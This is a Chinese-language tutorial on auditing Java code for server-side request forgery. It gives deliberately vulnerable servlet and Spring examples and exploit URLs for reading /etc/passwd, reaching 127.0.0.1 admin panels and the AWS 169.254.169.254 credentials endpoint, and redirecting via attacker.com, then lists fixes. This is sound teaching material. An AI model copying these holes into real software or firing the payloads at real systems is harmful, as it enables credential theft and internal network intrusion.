🛡️ Java SSRF 源码审计全解
🚩 什么是 SSRF?
SSRF(Server-Side Request Forgery,服务器端请求伪造),攻击者通过控制服务端发送请求目标,从而访问本应服务器内部可见的资源。
📌 审计原则:你应该关注哪里?
- 是否存在外部 HTTP 请求行为?
- 关键词定位:
URLConnection
,HttpClient
,RestTemplate
,OkHttp
等。
- 关键词定位:
- 请求地址是否来源于用户输入?
- 用户输入识别点:
request.getParameter()
,@RequestParam
。
- 用户输入识别点:
- 是否缺乏对请求地址的白名单/协议/IP 检查?
- 包括:是否校验协议(是否只允许 HTTP)、是否禁止内网 IP、是否限制端口范围等。
- 是否允许重定向?
- SSRF 重定向绕过校验是常见技巧。
✅ SSRF 漏洞类型与示例详解
1. java.net.URL / URLConnection
📂 漏洞代码
@WebServlet("/fetch")
public class SSRFDemoServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
// 获取用户提供的 target 参数
String target = request.getParameter("target");
if (target == null || target.isEmpty()) {
response.getWriter().println("请提供 ?target= 参数");
return;
}
try {
// 服务器端发起请求
URL url = new URL(target);
InputStream is = url.openStream();
Scanner scanner = new Scanner(is);
response.getWriter().println("远程内容读取成功:");
while (scanner.hasNextLine()) {
response.getWriter().println(scanner.nextLine());
}
} catch (Exception e) {
response.getWriter().println("请求失败:" + e.getMessage());
}
}
}
💥利用方式
http://yourserver.com/fetch?target=file:///etc/passwd
🔎 分析
- 支持协议:http, https, ftp, file, jar
file://
可用于读取服务器本地文件(如/etc/passwd
)http://127.0.0.1
可用于访问内网接口,如 admin 面板、元数据服务等
2. HttpURLConnection
📂 漏洞代码
@WebServlet("/fetch")
public class SSRFDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String target = request.getParameter("url"); // 用户通过 URL 参数传入目标地址
if (target == null || target.isEmpty()) {
response.getWriter().println("请传入目标 URL,例如:/fetch?url=http://example.com");
return;
}
try {
URL url = new URL(target);
HttpURLConnection conn = (HttpURLConnection) url.openConnection(); // 仅支持 HTTP/HTTPS
conn.setRequestMethod("GET");
conn.setConnectTimeout(3000);
conn.setReadTimeout(3000);
InputStream is = conn.getInputStream();
Scanner scanner = new Scanner(is);
response.getWriter().println("响应内容(前几行):");
int count = 0;
while (scanner.hasNextLine() && count++ < 5) {
response.getWriter().println(scanner.nextLine());
}
} catch (Exception e) {
response.getWriter().println("请求失败: " + e.getMessage());
}
}
}
💥 利用方式
🧬 SSRF 访问内网接口:
GET /fetch?url=http://127.0.0.1:8080/admin
作用:绕过外部防火墙访问内部管理接口(如 Tomcat 后台、K8s API)。
☁️ SSRF 访问云元数据服务:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
作用:获取在 AWS 等云平台上的凭证,进一步获取 S3、RDS 访问权限。
🔍 分析
项目 | 说明 |
---|---|
✅ 协议限制 | 使用 HttpURLConnection 限制了 file:// 等非 HTTP 协议 |
❌ IP/IP段未校验 | 可以访问内网 IP,易被用来探测内网、访问云服务 |
❌ 没有域名/IP白名单 | 可以访问任意公网地址,甚至 SSRF 转发 |
❌ 没有限流 | 可用于自动化扫描 |
⚠️ 输出内容部分打印 | 若返回的是 XML、配置、敏感内容,仍有泄露风险 |
3. Apache HttpClient(标准 + Fluent API)
✅ 场景 A:标准 Apache HttpClient(重定向隐患)
📂 漏洞代码
@WebServlet("/fetch")
public class SSRFDemoServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String targetUrl = request.getParameter("url");
if (targetUrl == null || targetUrl.isEmpty()) {
response.getWriter().println("请提供 url 参数,例如 /fetch?url=http://example.com");
return;
}
try (CloseableHttpClient client = HttpClients.createDefault()) {
HttpGet httpGet = new HttpGet(targetUrl);
HttpResponse httpResponse = client.execute(httpGet);
response.getWriter().println("响应内容(前几行):");
try (InputStream content = httpResponse.getEntity().getContent();
Scanner scanner = new Scanner(content)) {
int lines = 0;
while (scanner.hasNextLine() && lines++ < 5) {
response.getWriter().println(scanner.nextLine());
}
}
} catch (Exception e) {
response.getWriter().println("请求失败:" + e.getMessage());
}
}
}
💥 利用方式
攻击者访问:
http://vulnerable.com/fetch?url=http://attacker.com:8000/redirect
- 请求
http://attacker.com:8000/redirect
✅ 通过初始校验 - 响应返回 302 +
Location: http://127.0.0.1:8080/admin
- Apache HttpClient 自动重定向 ➜ 访问内网接口
- SSRF 成功!
🔎 分析要点
- 支持 HTTP/HTTPS(默认)
- 自动跟随重定向,易被 SSRF 利用
- 是企业中广泛使用的请求工具
✅ 场景 B:Apache HttpClient Fluent API(开发者最容易忽视)
📂 漏洞代码
@WebServlet("/fast-fetch")
public class SSRFFluentServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String url = request.getParameter("url");
if (url == null || url.isEmpty()) {
response.getWriter().println("请提供 url 参数");
return;
}
// 🧨 SSRF 高危调用:无过滤,直接使用用户 URL
String result = Request.Get(url).execute().returnContent().asString();
response.getWriter().println("获取结果:" +
result.substring(0, Math.min(result.length(), 200)));
}
}
💥 利用方式
http://vulnerable.com/fast-fetch?url=http://169.254.169.254/latest/meta-data/
或者探测内网服务:
http://vulnerable.com/fast-fetch?url=http://127.0.0.1:8080/secret
🧪 利用效果
- 可用来读取内网服务状态接口
- 获取云平台凭据(如 AWS Metadata)
- 可能绕过 WAF(短路径、快速请求)
🔍 分析
特点 | 说明 |
---|---|
API 风格简洁 | Request.Get(url).execute() 一行发请求 |
易忽略校验 | 很多开发者以为是“高级封装”,忽略 URL 风险点 |
自动处理重定向 | 默认会自动跟随 301/302 |
支持协议 | 仅限 http:// 和 https:// ,不支持 file:// |
⚖️ 标准 vs Fluent 对比审计
比较点 | 标准 HttpClient | Fluent API (Request.Get ) |
---|---|---|
请求方式 | 显式构造对象 (HttpGet , HttpPost ) | 链式封装请求 |
易读性 | 中等 | 非常高,开发者更喜欢 |
SSRF 风险 | 高(如果输入未过滤) | 更高(因为经常无任何校验) |
支持协议 | HTTP/HTTPS,配置后支持其他协议 | 仅 HTTP/HTTPS |
自动重定向跟随 | 默认开启 | 默认开启 |
审计推荐关注点 | .execute(...) 入参为用户 URL | Request.Get(x) 中的 x 是否用户可控 |
4. Spring RestTemplate
📂 漏洞代码
@RestController
public class SSRFDemo {
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
RestTemplate restTemplate = new RestTemplate();
// 使用 RestTemplate 发送 HTTP 请求
return restTemplate.getForObject(url, String.class);
}
}
🔎 分析
- Spring 项目常用
- 底层使用
HttpURLConnection
或HttpClient
- 利用方式
- 内网服务探测、访问云原数据服务
- 自动重定向绕过
- 利用方式
- 容易隐藏在服务封装层内部(需审查封装逻辑)
5. OkHttpClient
📂 漏洞代码
@RestController
@RequestMapping("/fetch")
public class SSRFDemo {
private final OkHttpClient client = new OkHttpClient();
@GetMapping
public String fetchData(@RequestParam String url) throws Exception {
// 从 HTTP 请求的参数中获取 URL
Request request = new Request.Builder().url(url).build();
Response response = client.newCall(request).execute();
return "HTTP Status Code: " + response.code();
}
}
💥 利用方式
攻击者可以通过传入恶意的 URL,将请求转发到攻击者控制的外部服务器。例如:
http://victim.com/fetch?url=http://attacker.com/malicious
这会让服务器发起一个请求到 http://attacker.com/malicious
,而攻击者能够控制这个外部地址,获取敏感信息或者发起攻击。
🔎 分析
- 常用于微服务通信、移动端
- 支持 DNS 解析缓存、重定向跟随,可做内网扫描跳板
6. 其他危险类支持多协议
类库 | 协议支持 | 风险 |
---|---|---|
URL | http, https, ftp, file, jar | 🔥 高 |
URLConnection | http, https, ftp, file, jar | 🔥 高 |
HttpClient | 默认 http/https | ⚠️ 中 |
RestTemplate | http/https | ⚠️ 中高 |
WebClient (Reactor) | http/https | ⚠️ 中 |
Jsoup.connect() | http/https | ⚠️ 中 |
ImageIO.read(URL) | http/file | ⚠️ 中 |
ClassLoader.getResource() | file/jar | ⚠️ 低(信息泄露) |
🧭 SSRF 漏洞审计关键词速查表
类别 | 审计关键词 |
---|---|
原始网络类 | new URL( , URL.openConnection ,URLConnection , openStream |
HTTP 库 | HttpURLConnection , HttpClients.createDefault , HttpGet , OkHttpClient |
Spring 相关 | RestTemplate , WebClient ,getForObject , exchange |
用户输入可控点 | request.getParameter , @RequestParam |
资源类 | ImageIO.read , ClassLoader.getResource ,FileInputStream(new URL(...)) |
🛠️ 修复方式
- URL 白名单校验 仅允许访问可信的主机或路径,如:
if (!url.startsWith("https://api.example.com")) {
throw new IllegalArgumentException("非法URL");
}
- 禁止内网地址访问(防止访问
127.0.0.1
、192.168.0.0/16
10.0.0.0/8
等) 解析 IP 后进行判断:
InetAddress address = InetAddress.getByName(new URL(url).getHost());
if (address.isSiteLocalAddress() || address.isLoopbackAddress()) {
throw new SecurityException("禁止访问内网");
}
- 禁止使用非 HTTP 协议(如 file://)
if (!url.startsWith("http://") && !url.startsWith("https://")) {
throw new IllegalArgumentException("仅允许 HTTP 请求");
}
- 禁用重定向跟随
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setInstanceFollowRedirects(false);
- 统一封装报错响应内容,可以返回自定义固定报错页面,避免过多信息返回
✅ 总结
- SSRF 的核心风险在于攻击者可以控制服务端对内网、敏感资源的访问。
- 审计时需从 数据源(用户输入) -> 传输链路(函数调用) -> 汇聚点(请求发起) 进行溯源。
- 非 HTTP 协议的支持是高风险关键点,应特别关注。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容